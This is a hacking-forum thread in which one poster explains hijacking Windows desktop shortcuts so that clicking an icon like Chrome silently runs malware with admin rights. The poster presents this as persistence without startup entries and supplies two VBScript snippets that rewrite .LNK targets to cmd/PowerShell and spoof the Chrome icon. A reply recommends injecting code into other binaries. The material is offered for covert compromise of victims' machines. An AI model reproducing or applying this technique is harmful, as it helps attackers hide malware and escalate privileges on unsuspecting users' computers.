

Forum:[Hack Forums](#)

Thread: [persistence without any startup entry](#)

Joseph Ducreux - March 12, 2021, 3:03 pm

hijacks the desktop icons to redirect to run your malware or LOLBIN technique as admin. for example they click chrome icon on desktop and instead it runs a virus, and then the virus can then catch the request and run chrome.exe simultaneously to arouse no suspicion (or simply just appended the && and run the subsequent authentic file path), you can use DIR and FINDSTR to be able to dynamically find and hijack all .LNKS without having to guess, the cool thing about this is you can then purge the LNK hijacking once successful to route back to their default authentic file paths and you can also gain a persistence mechanism without having ANYTHING listed on startup

I have another evidenceless persistence even more stealthier mechanism but I'm not sure if right now is right time to share. the following I posted below is a minimalist example, you can also directly edit .LNK's directly with wscript. I posted a bare example to ward script kiddies but with somebody that knows what they are doing this can be a very sneaky technique

.LNK hijacker /w indirect/multi/chain execution abilities, runs as admin

```
Code Set objShell = WScript.CreateObject("WScript.Shell")
Set Ink = objShell.CreateShortcut("1.LNK")
Ink.TargetPath = "C:\Windows\cmd.exe"
Ink.Arguments = " /C powershell.exe -Command Start-Process chrome.exe www.apple.com -Verb
RunAs"
Ink.Description = "MyProgram"
Ink.HotKey = "ALT+CTRL+F"
Ink.IconLocation = "C:\Windows\notepad.exe, 2"
Ink.WindowStyle = "1"
Ink.WorkingDirectory = "C:\Program Files\MyApp"
Ink.Save
'Clean up Set Ink = Nothing
```

```
Set objShell = WScript.CreateObject("WScript.Shell")
Set Ink = objShell.CreateShortcut("google chrome.LNK")
Ink.TargetPath = "cmd.exe"
Ink.Arguments = " /C powershell.exe -Command Start-Process chrome.exe www.apple.com -Verb
RunAs"
Ink.Description = "MyProgram"
Ink.HotKey = "ALT+CTRL+Delete"
Ink.IconLocation = "%ProgramFiles%\Google\Chrome\Application\chrome.exe, 0"
Ink.WindowStyle = "1"
Ink.WorkingDirectory = "C:\Program Files\MyApp"
Ink.Save
'Clean up Set Ink = Nothing
```

m8than - March 13, 2021, 4:08 am

This shit is arguably more obvious than a startup entry. It's probably better to inject your code into some other x86 binary

